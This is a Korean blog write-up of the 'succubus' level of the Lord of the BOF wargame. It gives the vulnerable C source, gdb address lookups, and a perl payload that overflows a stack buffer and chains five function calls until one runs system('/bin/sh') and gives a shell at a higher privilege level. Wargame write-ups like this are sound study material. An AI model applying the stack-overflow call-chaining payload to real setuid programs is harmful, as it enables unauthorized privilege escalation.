왠진 모르겠지만 이번에는 새로운 단계를 오랜만에 풀어봐서 그런지 너무 재미있었습니닼ㅋㅋㅋㅋ
막 함수주소얻는데 왜케 기분이 좋은짘ㅋㅋㅋㅋㅋ
login: zombie_assassin
Password:
Last login: Fri May 2 14:40:51 from 192.168.10.1
ls
[zombie_assassin@localhost zombie_assassin]$ ls
foo foo.c ssssssss succubus succubus.c
[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
/*코드를 정리해주자면 버퍼+148만큼을 남겨두고 싹다 지워버립니다. 그리고 공격자는 도->개->걸->윷->모 순서로 함수를 호출해야 모가 마지막에 자신이 넘겨받은 인자를 시스템 함수로 호출해줍니다. 라이브러리의 함수는 사용할 수 없습니다. 그리고 44바이트를 채워야한다는걸 처음에 깜박했는데 44바이트+코드~~~입니다ㅋ*/
[zombie_assassin@localhost zombie_assassin]$ gdb -q ssssssss
(gdb) b main
Breakpoint 1 at 0x804880e
(gdb) r
Starting program: /home/zombie_assassin/ssssssss
Breakpoint 1, 0x804880e in main ()
(gdb) p DO
$1 = {<text variable, no debug info>} 0x80487ec <DO>
(gdb) p GYE
$2 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p YUT
$4 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p MO
$5 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb) q
The program is running. Exit anyway? (y or n) y
[zombie_assassin@localhost zombie_assassin]$ ./ssssssss `perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "BBBB", "CCCC"'`
¼\$AAAABBBBCCCC
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
/*솔직히 여기서 정신못차림. 주소많아지니까 어우..*/
[zombie_assassin@localhost zombie_assassin]$ gdb -q -c core
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/40wx $esp
0xbffffaa4: 0x42424242 0x43434343 0x08048400 0x08048808
0xbffffab4: 0x00000002 0xbffffad4 0x0804839c 0x0804894c
0xbffffac4: 0x4000ae60 0xbffffacc 0x40013e90 0x00000002
0xbffffad4: 0xbffffbd0 0xbffffbdb 0x00000000 0xbffffc28
0xbffffae4: 0xbffffc42 0xbffffc50 0xbffffc68 0xbffffc87
0xbffffaf4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb04: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb14: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb24: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb34: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/wx 0xbffffaa8
0xbffffaa8: 0x43434343
(gdb) q
[zombie_assassin@localhost zombie_assassin]$ ./ssssssss `perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\xa8\xfa\xff\xbf", "/bin/sh"'`
¼\$AAAA¨ú ¿/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ exit
exit
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\xa8\xfa\xff\xbf", "/bin/sh"'`
¼\$AAAA¨ú ¿/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
못쓰는 주소들이 정말 많은 반면 100바이트를 남겨줘서 그냥 argv[1]에따가 "/bin/sh를 넣어주고 거기로 인자를 받게 했습니다. 앞의 함수들은 인자를 받지 않기(void)때문에 그냥 리턴어드레스만 받아서 쭉쭉 실행하다가 MO같은 경우는 인자를 받기 때문에 mo의 주소+4바이트의 곳에 인자의 주소를 넣고 인자는 그 뒤의 주소를 계산해서 넣어주시면 됩니다.
얼마 안남았네염 화이팅
'STUDY > Lord of the BOF' 카테고리의 다른 글
nightmare->xavius (0) | 2014.07.22 |
---|---|
succubus->nightmare (0) | 2014.07.10 |
assassin->zombie_assassin (2) | 2014.06.26 |
assassin->zombie_assassin (0) | 2014.05.13 |
giant->assassin (0) | 2014.04.22 |